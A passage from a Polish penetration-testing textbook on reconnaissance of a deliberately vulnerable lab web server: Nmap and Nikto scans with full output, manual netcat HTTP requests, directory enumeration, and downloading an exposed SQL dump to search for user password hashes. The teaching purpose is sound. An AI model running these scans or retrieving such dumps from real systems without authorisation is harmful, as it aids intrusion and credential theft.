glądarka internetowa. Z jej pomocą można zrobić naprawdę bardzo dużo rzeczy. Dobrze jest ko-
rzystać z kilku różnych przeglądarek, podobnie jak robią to programiści tworzący dla sieci WWW,
ponieważ pozwala to wyszukać niespójności w sposobie wyświetlania różnych treści. Nowoczesne
przeglądarki wyposażone są też w specjalny „tryb programisty”, w którym można przeglądać i mo-
dyfikować kod źródłowy dokumentu, wyświetlać treść żądań i odpowiedzi HTTP, sprawdzać in-
formacje z debugera, kontrolować poziom wykorzystania pamięci i wiele innych rzeczy.
W ćwiczeniach z tego rozdziału skupimy się jednak na używaniu narzędzi wiersza poleceń
i postaramy się pogłębić naszą znajomość programu Netcat. Dzięki zastosowaniu tych narzędzi
zwiększysz swoją wiedzę na temat protokołu HTTP oraz technologii używanych w serwerach WWW.
Poniżej przedstawiamy listę rodzajów narzędzi używanych do hakowania w sieci WWW wraz z przy-
kładowymi programami z każdej kategorii:
 Przeglądarki (Firefox i Chrome).
 Narzędzia wiersza poleceń (cURL i Wget).
 Narzędzia do wykrywania treści (Dirb).
 Narzędzia do skanowania podatności w sieci WWW (Nikto).
 Narzędzia rozbudowujące możliwości sieci WWW
(Cadaver do współpracy z funkcjami WebDAV).
 Narzędzia do tworzenia tylnych furtek po stronie serwera
(Weevely lub powłoka ASP.NET).
 Narzędzia do tunelowania (Proxychains).
 Narzędzia ogólnego przeznaczenia (Nmap, Netcat, Metasploit i Searchsploit).

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie portów serwera WWW 225

Skanowanie portów serwera WWW

W ćwiczeniach z tego rozdziału musisz używać laboratorium przygotowanego na potrzeby tej książki
(dostępne jest pod adresem www.hackerhousebook.com/hh-booklab-v1-i386.hybrid.iso). Wstaw ten
plik ISO do maszyny wirtualnej (na przykłada zamiast pliku ISO z serwerem pocztowym, którego
używaliśmy w poprzednim rozdziale) i ponownie ją uruchom. Na początek dobrze jest przeprowa-
dzić podstawowy skan portów, aby szybko uzyskać wstępne wyniki, a później można uruchomić
bardziej rozbudowane skanowanie, używając do tego tych samych opcji, które wykorzystaliśmy
przy skanowaniu serwera pocztowego. W poleceniu uruchamiającym rozbudowane skanowanie
należy jednak wprowadzić jedną małą zmianę, polegającą na dodaniu opcji -oX, która powoduje
wypisanie wyników skanowania do pliku XML. Pełne polecenie Nmap powinno zatem wyglądać
tak jak poniżej:
nmap -sT -p- -A -vv -n -Pn -oN wyniki.txt -oX wyniki.xml 192.168.48.110

Nie trzeba teraz czekać na zakończenie skanowania. Ocenę serwera WWW można zacząć od
portu 80, ponieważ jest to domyślny port protokołu HTTP, a zatem w wynikach podstawowego
skanowania powinna znaleźć się informacja, że jest otwarty. Możesz teraz uruchomić przeglądarkę
używającą portu 80 i zacząć badać. Na początek wystarczy wpisać w pasku adresu http://<AdresIP>.
(Jeżeli pominiesz przedrostek http://, to przeglądarka i tak dopisze go na początku, przyjmując
domyślny protokół). Można też skontrolować port 443, czyli domyślny port protokołu HTTPS,
wpisując w pasku adresu przeglądarki https://<AdresIP>. To pod tymi adresami można spodzie-
wać się publicznych witryn i aplikacji naszego klienta.
Coraz powszechniejsze jest udostępnianie treści poprzez protokół HTTPS na porcie 443, z po-
minięciem portu 80, który służy już tylko do przekierowywania klientów (przeglądarek) na port
443. Co więcej, uzyskanie jakiejkolwiek treści na porcie 80 można uznać za swego rodzaju podat-
ność. Po prostu dowolne dane przesyłane przez takie połączenie, takie jak nazwy użytkowników,
hasła lub pliki cookie, nie będą szyfrowane i mogą zostać łatwo przechwycone i odczytane przez
odpowiednio umiejscowionego hakera używającego analizatora pakietów w rodzaju Wireshark lub
TCPdump (www.tcpdump.org).
Możesz też spróbować nawiązać połączenia HTTP na innych portach, dopisując numer portu do
adresu i stosując raz protokół HTTP, a raz HTTPS, na przykład w ten sposób: http://192.168.48.110:8080.
Przeglądarka umożliwia też obsługę usług stosujących inne protokoły, takie jak FTP (File Transfer
Protocol). Tutaj wystarczy wpisać adres URL podobny do tego: ftp://192.168.48.110.
Po zakończeniu rozbudowanego skanowania programem Nmap można pobrać wyniki zapi-
sane w pliku XML, przekonwertować je do formatu HTML i przejrzeć w przeglądarce. W tym celu
można użyć programu xsltproc w ramach poniższego polecenia:
xsltproc wyniki.xml > wyniki.html

Utworzony plik otwórz w przeglądarce. Zobaczysz w niej ładnie sformatowaną tabelę, podobną
do tej z rysunku 7.2, którą można z powodzeniem umieścić w raporcie dla klienta. Oczywiście wy-
gląd wygenerowanej strony można dostosować za pomocą arkusza stylów XSL.

3681988c430c7fe1e8567c4e2f281f7b
3
226 Rozdział 7  Sieć WWW pełna podatności

Rysunek 7.2. Wyniki skanowania programem Nmap wyświetlane w przeglądarce

Wyniki tego skanowania (w domyślnym formacie tekstowym) prezentujemy poniżej. Dla

zwiększenia czytelności usunęliśmy z nich kilka wierszy (głównie dane wykrytych katalogów).
Podczas badania różnych portów i usług w dalszej części rozdziału będziemy wielokrotnie wracać
do tego raportu. Zauważ, że w raporcie wyróżniono kilka wierszy, aby uwypuklić dane usług dzia-
łających na tym serwerze, dzięki czemu całość jest łatwiejsza do przeczytania. Ze względu na to, że
w tym rozdziale skupiamy się na usługach związanych z siecią WWW, pozostałe serwisy nie zostały
ujęte w wydruku.
# Nmap 7.70 scan initiated Wed Feb 13 21:35:50 2019 as: nmap -sT -p- -A
-vv -n -Pn -sC -oN webserver.txt -oX webserver.xml 192.168.56.110
Nmap scan report for 192.168.56.110
Host is up, received arp-response (0.00027s latency).
Scanned at 2019-02-13 21:35:51 GMT for 109s
Not shown: 65530 closed ports
Reason: 65530 conn-refused
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.2.21 ((Debian))
| http-methods:
| Supported Methods: OPTIONS GET HEAD POST DELETE TRACE PROPFIND
PROPPATCH COPY MOVE LOCK UNLOCK
|_ Potentially risky methods: DELETE TRACE PROPFIND PROPPATCH COPY MOVE LOCK UNLOCK
|_http-server-header: Apache/2.2.21 (Debian)
|_http-svn-info: ERROR: Script execution failed (use -d to debug)
|_http-title: HackerHouse Photo Board - Home
| http-webdav-scan:
| Allowed Methods: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND, PROPPATCH,COPY,MOVE,LOCK,UNLOCK
| Server Date: Mon, 25 Feb 2019 11:27:15 GMT
| Server Type: Apache/2.2.21 (Debian)

3681988c430c7fe1e8567c4e2f281f7b
3
Ręczne żądania HTTP 227

| WebDAV type: Apache DAV

| Directory Listing:
| /
| /logs/
|_ /zipdownload.php
443/tcp open ssl/https? syn-ack
|_ssl-date: 2019-02-25T11:27:17+00:00; +11d13h51m06s from scanner time.
3128/tcp open http-proxy syn-ack Squid http proxy 3.1.18
|_http-server-header: squid/3.1.18
|_http-title: ERROR: The requested URL could not be retrieved
8080/tcp open http syn-ack Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Private
10000/tcp open http syn-ack MiniServ 1.580 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 6A0A8D56B2EA0D1678821172DF51D634
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: MiniServ/1.580
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 08:00:27:6A:AD:FF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.13
# Nmap done at Wed Feb 13 21:37:40 2019 -- 1 IP address (1 host up)
scanned in 109.89 seconds

W powyższym wydruku wymieniane są porty TCP o numerach 80, 443, 3128, 8080 i 10000.
Teraz przyjrzymy się dokładniej każdemu z tych portów, używając do tego takich narzędzi jak Netcat
i przeglądarka. W trakcie tych prac będziemy sprawdzać, co oznaczają poszczególne wyniki.

Ręczne żądania HTTP

Pamiętaj, że za pomocą programu Netcat można uzyskać połączenia z otwartymi portami i ręcznie
pobierać komunikaty powitalne oraz wchodzić w interakcję z serwisami działającymi na danym
porcie. W poprzednim rozdziale zrobiliśmy to z portem 25, przy okazji poznając kilka podstawo-
wych poleceń protokołu SMTP. Spróbujmy teraz połączyć się w ten sposób z portem 80 i wysłać
proste żądanie HTTP.
nc <AdresIP> 80

Aby ręcznie wysłać żądanie GET, wpisz dwa podane niżej wiersze, naciskając po każdym z nich
klawisz Enter. Następnie musisz jeszcze trzeci raz nacisnąć klawisz Enter, wysyłając do serwera pusty
wiersz, który kończy treść żądania. Uważaj, bo żądanie się przedawni, jeżeli kolejne wiersze będą
wprowadzane zbyt wolno.
GET / HTTP/1.1
host: foo

3681988c430c7fe1e8567c4e2f281f7b
3
228 Rozdział 7  Sieć WWW pełna podatności

Przedstawione tutaj wiersze są dla serwera informacją „przyślij mi katalog główny systemu pli-
ków, używając do tego protokołu HTTP w wersji 1.1”. Wiersz host: foo jest niezbędny, jeżeli jako
wersję protokołu podajemy HTTP/1.1, ale można też skrócić treść żądania, wpisując tylko GET /
i naciskając klawisz Enter. Nic nie stoi na przeszkodzie, żeby spróbować tego na rzeczywistym ser-
werze, ponieważ wysyłamy tutaj jedynie poprawne żądania GET, aby pobrać pewne treści z serwera.
Pełna odpowiedź otrzymana od serwera składa się z kodu HTML, którym teraz nie jesteśmy zain-
teresowani. W tym przypadku lepiej sprawdza się żądanie HTTP HEAD, które można zastosować,
jeżeli badany serwer je obsługuje. Możesz spróbować wysłać to żądanie do serwera z laboratorium,
wpisując poniższe wiersze:
HEAD / HTTP/1.1
host: foo

W odpowiedzi otrzymamy wyłącznie nagłówki, które powinny być widoczne w odpowiedzi na

poprawnie obsłużone żądania GET i HEAD:
HTTP/1.1 200 OK
Date: Mon, 25 Feb 2019 11:51:15 GMT
Server: Apache/2.2.21 (Debian)
X-Powered-By: PHP/5.3.8-1+b1
Set-Cookie: 07bd485356684225bbdfe01b3104ee94=65c6aeae77f3be0b51bde6d14f7
1db26; expires=Mon, 11-Mar-2019 11:51:19 GMT; path=/
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: coppermine_data=YToyOntzOjI6IklEIjtzOjMyOiIyMTVhYjNiZmRmYTk5MWFlNzY3N2Q4M2QzMmE4
´MjExNSI7czoyOiJhbSI7aToxO30%3D; expires=Wed, 27-Mar-2019 11:51:19 GMT; path=/
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

Zauważ, że w tych nagłówkach znajduje się nazwa oraz wersja oprogramowania serwera WWW
(Apache), które obsługiwało dane żądanie. Można też doszukać się nazwy PHP i numeru wersji
języka. Teraz należy szybko skorzystać z programu Searchsploit, aby dowiedzieć się, czy w opro-
gramowaniu o znalezionej nazwie i numerze wersji ukrywają się jakieś błędy. Często używaną stra-
tegią jest wysłanie też żądania OPTIONS, aby sprawdzić, jakie technologie obsługuje badany serwer.
Nie zapomnij o wprowadzeniu pustego wiersza na zakończenie żądania, bo inaczej serwer będzie
czekał na kolejne dane, nie traktując żądania jako zakończonego:
OPTIONS / HTTP/1.1
host: foo

Serwer odpowie na powyższe żądanie następującym zbiorem informacji:

HTTP/1.1 200 OK
Date: Mon, 25 Feb 2019 11:58:04 GMT
Server: Apache/2.2.21 (Debian)
DAV: 1,2
DAV: <http://apache.org/dav/propset/fs/1>
MS-Author-Via: DAV
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,
LOCK,UNLOCK
Content-Length: 0
Content-Type: httpd/unix-directory

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie podatności 229

Rety! Wygląda na to, że serwer pozwala na używanie sporego zbioru różnych metod HTTP, w tym
i bardzo niebezpiecznej metody DELETE, która umożliwia usuwanie wybranych plików z serwera!
Serwer zwrócił również nagłówek MS-Author-Via: DAV. Ta informacja w połączeniu z dostęp-
nością metod PROPFIND, PROPPATCH, COPY, MOVE, LOCK i UNLOCK oznacza, że serwer obsługuje też funkcje
WebDAV. Zauważ, że wartość podawana w nagłówku Content-Length to 0. Po prostu serwer zwraca
tu wyłącznie nagłówki i żadnej treści, ponieważ nie żądaliśmy takich. Poprosiliśmy jedynie o podanie
opcji, jakie są dostępne dla katalogu głównego serwera. Inne katalogi mogą obsługiwać odmienne
zbiory opcji, dlatego warto też przejrzeć zasoby w innych lokalizacjach niż tylko katalog główny.

Programu Netcat możesz użyć do wysyłania bardziej rozbudowanych żą-

dań HTTP niż te pokazane powyżej. Możesz spróbować wysłać dodatkowe nagłówki albo
korzystać z innych metod HTTP i sprawdzać, jakie odpowiedzi będzie przesyłał serwer.
Jeżeli serwer zechce dla każdego żądania utworzyć plik cookie (zwraca wtedy nagłówek
Set-Cookie:), to możesz przejąć ten plik i umieszczać go w każdym kolejnym żądaniu, uży-
wając do tego nagłówka Cookie:. Jeżeli poświęcisz trochę czasu na takie eksperymenty, to
na pewno wiele się dowiesz na temat działania protokołu HTTP.

Skanowanie podatności
Możesz nadal używać programu Netcat, aby ręcznie poszukiwać różnych podatności, ale możesz
też skorzystać z narzędzia przygotowanego specjalnie do tego celu. Ręczne poszukiwanie podatno-
ści za pomocą programu Netcat może być niezwykle żmudne i czasochłonne, dlatego powstały już
narzędzia, które specjalizują się w wyszukiwaniu typowych podatności w różnych aplikacjach siecio-
wych. Dobrze jest zatem korzystać z tych narzędzi w połączeniu z ręcznymi technikami testowania.
Jeden ze skanerów podatności nosi nazwę Nikto (github.com/sullo/Nikto) i jest już zainstalo-
wany w systemie Kali Linux. Ten program został napisany przez Chrisa Sullo i Davida Lodge’a pod
koniec lat 90. XX wieku, ale do dzisiaj znajduje zastosowanie w praktyce.

Wyrób w sobie nawyk przeglądania pomocy lub strony man każdego na-
rzędzia, którego masz zamiar użyć. Jeżeli wejdzie Ci to w krew, to przestaniesz poszukiwać
odpowiedzi za pomocą wyszukiwarki sieciowej, bo zaczniesz coraz lepiej rozumieć działanie
używanych narzędzi i technik. Prawdopodobniej zmniejszysz też częstotliwość korzystania
z takich serwisów jak Stakck Overflow (społecznościowy portal z odpowiedziami na pytania
dotyczące programowania) i znacznie skuteczniej będziesz znajdować odpowiedzi na swoje
pytania. Na wyrobienie w sobie takiego nawyku potrzeba czasu, ale zdecydowanie warto to
zrobić! W komputerach zawsze są instrukcje obsługi, dlatego zawsze pamiętaj o ich przeczytaniu.
Programu Nikto można użyć na przykład za pomocą poniższego polecenia:
nikto -host <AdresIP> -C all -p 80 -output nikto_wyniki.txt | grep -v Cookie

To polecenie przekazuje wyjście programu Nikto na wejście programu grep, który usunie z wy-
ników wszystkie wiersze zawierające słowo Cookie. Taka zmiana jest bardzo przydatna, ponieważ
domyślnie Nikto wypisuje naprawdę sporo informacji i często potrafi zapełnić ekran danymi z pli-
ków cookie, które nie są interesujące w ramach wykonywanego skanu. Opcja -C all nakazuje

3681988c430c7fe1e8567c4e2f281f7b
3
230 Rozdział 7  Sieć WWW pełna podatności

programowi przeszukać wszystkie znane katalogi CGI. Opcja -p umożliwia podanie numeru portu
(tutaj 80). Zaraz za nią znajduje się opcja -output razem z nazwą pliku nikto_wyniki.txt. Poniższy
wydruk jest przykładem wyników zwracanych przez Nikto po wykonaniu skanu systemu z pew-
nymi podatnościami. Możesz spróbować wykonać takie skanowanie naszego laboratorium, a otrzy-
masz wyniki bardzo podobne do przedstawionych poniżej:
Testing testing testing
- Nikto v2.1.6
------------------------------------------------------------------------
+ Target IP: 192.168.11.143
+ Target Hostname: 192.168.11.143
+ Target Port: 80
+ Start Time: 2020-06-25 12:47:22 (GMT-7)
------------------------------------------------------------------------
+ Server: Apache/2.4.20 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /: Directory indexing found.
+ Retrieved x-powered-by header: PHP/7.3.14-1~deb10u1
+ Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)
+ OSVDB-3268: /admin/: Directory indexing found.
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/debugvpn.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/README.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /includes/: Directory indexing found.
+ Entry '/includes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /misc/: Directory indexing found.
+ Entry '/misc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /modules/: Directory indexing found.
+ Entry '/modules/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /profiles/: Directory indexing found.
+ Entry '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /scripts/: Directory indexing found.
+ Entry '/scripts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /themes/: Directory indexing found.
+ Entry '/themes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.mysql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.pgsql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.sqlite.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/LICENSE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/MAINTAINERS.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/UPGRADE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=admin/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=comment/reply/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=node/add/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=search/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect http code (200)
+ Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/logout/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

3681988c430c7fe1e8567c4e2f281f7b
3
Skanowanie podatności 231

+ “robots.txt” contains 41 entries which should be manually viewed.

+ OSVDB-637: Enumeration of users is possible by requesting ~username (responds with 'Forbidden'
´for users, 'not found' for non-existent users).
+ Apache/2.4.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the
´EOL for the 2.x branch.
+ OSVDB-397: HTTP method 'PUT' allows clients to save files on the web server.
+ Retrieved dav header: ARRAY(0x5569d2125668)
+ Retrieved ms-author-via header: DAV
+ Uncommon header 'ms-author-via' found, with contents: DAV
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST, DELETE, TRACE, PROPFIND, PROPPATCH, COPY,
´MOVE, LOCK, UNLOCK
+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the
´web server.
+ OSVDB-5647: HTTP method ('Allow' Header): 'MOVE' may allow clients to change file locations on
´the web server.
+ WebDAV enabled (PROPFIND UNLOCK COPY PROPPATCH LOCK listed as allowed)
+ Uncommon header '93e4r0-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/printenv: Site appears vulnerable to the 'shellshock' vulnerability
´(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-3268: /./: Directory indexing found.
+ OSVDB-3092: /web.config: ASP config file is accessible.
+ /./: Appending '/./' to a directory allows indexing
+ OSVDB-3268: //: Directory indexing found.
+ //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there
´is no index page.
+ OSVDB-3268: /%2e/: Directory indexing found.
+ OSVDB-576: /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or
´higher. http://www.securityfocus.com/bid/2513.
+ /phpinfo.php: Output from the phpinfo() function was found.
+ /sqldump.sql: Database SQL?
+ OSVDB-3268: ///: Directory indexing found.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive
´information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-119: /?PageServices: The remote server may allow directory listings through Web
´Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher
´should be disabled. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269.
+ OSVDB-119: /?wp-cs-dump: The remote server may allow directory listings through Web Publisher
´by forcing the server to show all files via 'open directory browsing'. Web Publisher should be
´disabled. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /html/: Directory indexing found.
+ OSVDB-3092: /html/: This might be interesting...
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3268: /logs/: Directory indexing found.
+ OSVDB-3092: /logs/: This might be interesting...
+ OSVDB-3092: /misc/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an
´unknown scanner.
+ OSVDB-3233: /cgi-bin/printenv: Apache 2.0 default script is executable and gives server
´environment variables. All default scripts should be removed. It may also allow XSS types of
´attacks. http://www.securityfocus.com/bid/4431.
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found.
´This gives a lot of system information.
+ OSVDB-3268: /////////////////////////////////////////////////////////////////////////////
´/////////////////////////////////////////////////////////////////////////////////////////
´/////////////////////////////////////////////////////////////////////////////////////////:
´Directory indexing found.

3681988c430c7fe1e8567c4e2f281f7b
3
232 Rozdział 7  Sieć WWW pełna podatności

+ OSVDB-3288: //////////////////////////////////////////////////////////////////////////////
´//////////////////////////////////////////////////////////////////////////////////////////
´///////////////////////////////////////////////////////////////////////////////////////:
´Abyss 1.03 reveals directory listing when /'s are requested.
+ Uncommon header 'tcn' found, with contents: choice
+ OSVDB-3092: /README: README file found.
+ OSVDB-3092: /UPGRADE.txt: Default file found.
+ OSVDB-3092: /install.php: Drupal install.php file found.
+ OSVDB-3092: /install.php: install.php file found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /INSTALL.mysql.txt: Drupal installation file found.
+ OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /cgi-bin/awstats.pl: AWStats logfile analyzer is misconfigured.
+ OSVDB-3268: /sites/: Directory indexing found.
+ 26722 requests: 2 error(s) and 91 item(s) reported on remote host
+ End Time: 2020-06-25 12:51:47 (GMT-7) (265 seconds)
------------------------------------------------------------------------
+ 1 host(s) tested

Program Nikto poinformował nas między innymi o tym, że wskazany host jest podatny na atak
Shellshock. Za chwilę spróbujemy wykorzystać tę podatność. W raporcie znajdują się też inne cie-
kawe informacje, w tym i ta, że serwer Apache (oprogramowanie serwera WWW) działający na tym
hoście jest nieaktualny. Jak już wcześniej widzieliśmy w wynikach skanowania programu Nmap,
na serwerze są włączone funkcje WebDAV, co nie jest najlepszym pomysłem, jeżeli chodzi o serwer
produkcyjny. Jest to jednak świetna wiadomość dla każdego, kto chciałby uszkodzić taki serwer lub
się na niego włamać! Czytając ten raport, zauważysz, że wiele informacji pokrywa się z tymi zwró-
conymi przez Nmap, choć są przedstawiane w nieco zmienionej formie. Dzięki zebranym do tej
pory informacjom możemy po kolei potwierdzać, że wykryte problemy serwera są prawdziwie i nie
są tylko fałszywymi pozytywami zgłaszanymi przez różne programy. To całkiem typowy sposób
korzystania z danych uzyskanych za pomocą takich programów jak Nikto. Wykrytych nieprawi-
dłowości nie można umieścić w raporcie dla klienta, jeżeli nie zostaną one wcześniej dodatkowo
potwierdzone!
W raporcie programu Nikto znajduje się jeszcze bardzo ciekawa informacja. Program wymie-
nia plik /sqldump.sql, który powinniśmy spróbować pobrać i przejrzeć. Można to zrobić za pomocą
programu wget:
wget <AdresIP>/sqldump.sql

Znajdowanie plików zawierających zrzut bazy danych nie jest niczym szczególnie rzadkim.
Takie pliki czasami są generowane i zapominane przez niedoświadczonych administratorów sys-
temów, ale mogą też być kopiami zapasowymi bazy danych witryny, które całkiem niechcący zna-
lazły się w publicznie dostępnych katalogach. Stanowią one bardzo poważny problem, ale jeżeli
znajdziesz je przed kimkolwiek innym, to możesz dać klientowi szansę ich usunięcia. Trzeba zatem
szybko skontaktować się z klientem i przedstawić mu szczegóły tego znaleziska.
Aby przejrzeć zawartość pobranego pliku, użyjemy programu cat, którego wyjście skierujemy
potokiem do programu less, co umożliwi nam przewijanie zawartości. Użyjemy zatem poniższego
polecenia:
cat sqldump.sql | less

3681988c430c7fe1e8567c4e2f281f7b
3
Ukryte treści 233

Zrzuty i kopie zapasowe bazy danych są doskonałym źródłem przydatnych informacji. Za po-
mocą polecenia grep users można poszukać w nich nazw użytkowników i przypisanych im haseł.
Mało prawdopodobne jest znalezienie haseł zapisanych otwartym tekstem, ale zwykle w bazach
danych znajdują się skróty haseł. Jak widać, programy podobne do Nikto pomagają w znalezieniu
sporej ilości potencjalnych problemów z hostami. Spróbuj wykorzystać ten program do skanowa-
nia otwartych portów serwera WWW działającego w laboratorium przygotowanym na potrzeby
tej książki, aby sprawdzić, czy znajdziesz w nim jakieś podobne problemy.

Ukryte treści
Każdy dobrze zbudowany skaner podatności będzie przeglądał zawartość pliku robots.txt, choć
sam plik nie zawiera praktycznie żadnych przydatnych informacji. Jesteśmy zatem zmuszeni
do ręcznego przeglądania zawartości witryny lub aplikacji sieciowej dostępnej na serwerze, aby
pobrać wszystkie widoczne treści. Co jednak zrobić z zasobami, które nie powinny być dostępne
dla użytkowników?

W rozdziale 12. będziemy opisywać techniki przeszukiwania i mapowania

aplikacji sieciowych, w tym i wykorzystywanie do tego celu pająków.
Znalezienie wszystkich dostępnych treści jest praktycznie niemożliwe, ponieważ nie wszystkie
elementy są ze sobą połączone za pomocą hiperłączy (a zatem pająk nie będzie w stanie odnaleźć
tych niepołączonych). Można zadać sobie pytanie, czy nie można po prostu zgadywać różnych
nazw plików i katalogów? Takie próby sprawdzają się w przypadku nazw hostów, nazw użytkow-
ników i haseł, a zatem mogą się sprawdzić i tutaj. Program Nikto świetnie sobie poradził z wykry-
waniem plików CGI o dobrze znanych nazwach, ale na serwerze mogą się znajdować też inne
ukryte katalogi, o których nic nie wiemy. Czasami można natknąć się na strony, które są pozosta-
łościami prac programistycznych prowadzonych w takiej witrynie. Od czasu do czasu pojawia
się też interfejs administratora, który został uznany za bezpieczny, ponieważ nie ma do niego żad-
nych linków z innych części witryny. Takie treści uznaje się za ukryte, ponieważ w sieci WWW nie
ma linków prowadzących do nich. Jeżeli jednak przesłać żądanie pobrania takich treści, to stają się
doskonale widoczne. Nie wolno zatem traktować treści znajdujących się na publicznym serwerze
tak, jakby były one dobrze poukrywane. Nawet w przypadku, gdy wszystkie takie pliki mają długie
i trudne do odgadnięcia nazwy!

Nmap
Spróbujmy teraz uruchomić trzecie skanowanie programem Nmap, ale tym razem wykorzy-
stamy specjalne skrypty do enumeracji elementów sieci WWW. Użyjemy tu skryptu nsediscover.py
(wspominaliśmy już o nim w poprzednim rozdziale), aby skontrolować inne dostępne skrypty
http. Jednym z takich skryptów jest http-enum. Możemy zatem włączyć go w proces skanowania
programem Nmap, używając do tego poniższego polecenia:
nmap -p 80 -vv -n --script=http-enum <TargetIP>

3681988c430c7fe1e8567c4e2f281f7b
3
234 Rozdział 7  Sieć WWW pełna podatności

W ten sposób skanowany będzie tylko port 80, a program wypisze poniższe wyniki:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-enum:
| /: Root directory w/ listing on 'apache/2.4.20 (debian)'
| /admin/: Possible admin folder
| /admin/index.php: Possible admin folder
| /logs/: Logs
| /robots.txt: Robots file
| /phpinfo.php: Possible information file
| /private/sdc.tgz: IBM Bladecenter Management Logs (401 Unauthorized)
| /cgi-bin/awstats.pl: AWStats
| /UPGRADE.txt: Drupal file
| /INSTALL.txt: Drupal file
| /INSTALL.mysql.txt: Drupal file
| /INSTALL.pgsql.txt: Drupal file
| /CHANGELOG.txt: Drupal v1
| /README: Interesting, a readme.
| /README.txt: Interesting, a readme.
| /html/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
| /includes/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
| /misc/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
| /modules/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
| /private/: Potentially interesting folder (401 Unauthorized)
| /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
| /sites/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
|_ /themes/: Potentially interesting directory w/ listing on 'apache/2.4.20 (debian)'
NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 1) scan.

Initiating NSE at 12:51
Completed NSE at 12:51, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
